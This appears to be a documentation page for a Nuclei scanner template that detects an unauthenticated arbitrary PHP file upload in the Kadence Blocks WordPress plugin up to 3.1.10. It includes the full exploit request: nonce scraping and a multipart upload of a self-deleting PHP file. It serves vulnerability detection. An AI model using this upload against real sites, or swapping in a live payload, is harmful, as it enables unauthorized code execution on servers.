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WordPress Gutenberg Blocks Plugin <= 3.1.10 - Arbitrary File Upload

ID: wp-kadence-blocks-rce

Severity: critical

Author: theamanrawat

Tags: rce,wpscan,wordpress,wp-plugin,wp,kadence-blocks,fileupload,intrusive

Description

Section titled “Description”

The Kadence Blocks for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the process_fields function in versions up to, and including, 3.1.10. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site’s server which may make remote code execution possible.

YAML Source

Section titled “YAML Source”
id: wp-kadence-blocks-rce


info:
  name: WordPress Gutenberg Blocks Plugin <= 3.1.10 - Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    The Kadence Blocks for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the process_fields function in versions up to, and including, 3.1.10. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  remediation: Fixed in 3.1.11
  reference:
    - https://wordpress.org/plugins/kadence-blocks/
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kadence-blocks/kadence-blocks-3110-unauthenticated-arbitrary-file-upload
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/wp-content/plugins/kadence-blocks/"
  tags: rce,wpscan,wordpress,wp-plugin,wp,kadence-blocks,fileupload,intrusive


variables:
  str: "{{to_lower(rand_text_alpha(5))}}"
  email: "{{rand_base(8)}}@{{rand_base(5)}}.com"
  filename: "{{to_lower(rand_text_alpha(5))}}"
  string: "wp-kadence-blocks-rce"


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------8779924633391890046425977712


        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="fieldfb0b94-aa"


        {{str}}
        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="fieldec6f26-c7"


        {{email}}
        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="fieldc9b894-4c"


        {{str}}
        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="field983473-0a"; filename="{{filename}}.php"
        Content-Type: application/x-php


        GIF89a


        <?php echo md5("{{string}}");unlink(__FILE__);?>
        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="_kb_adv_form_post_id"


        {{post_id}}
        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="action"


        kb_process_advanced_form_submit
        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="_kb_adv_form_id"


        {{form_id}}
        -----------------------------8779924633391890046425977712
        Content-Disposition: form-data; name="_kb_form_verify"


        {{nonce}}
        -----------------------------8779924633391890046425977712--


    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "application/json")'
          - 'contains_all(body_2, "Submission Success, Thanks for getting in touch!", "success\":true")'
        condition: and


    extractors:
      - type: regex
        name: nonce
        part: body_1
        group: 1
        regex:
          - 'kb_adv_form_params\s*=\s*{[^}]*"nonce"\s*:\s*"([^"]*)"'
        internal: true


      - type: regex
        name: form_id
        part: body_1
        group: 1
        regex:
          - 'name="_kb_adv_form_id" value="([^"]*)"'
        internal: true


      - type: regex
        name: post_id
        part: body_1
        group: 1
        regex:
          - 'name="_kb_adv_form_post_id" value="([^"]*)"'
        internal: true
# digest: 4a0a00473045022100b2a847d0aa4d455035ae18762518609bbdad6eb36af402850af87bc43f9d631b02204363ae83db4a0f0cdc7a6673b63664d479b40d4e225795d41416955465796ada:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-kadence-blocks-rce.yaml"

View on Github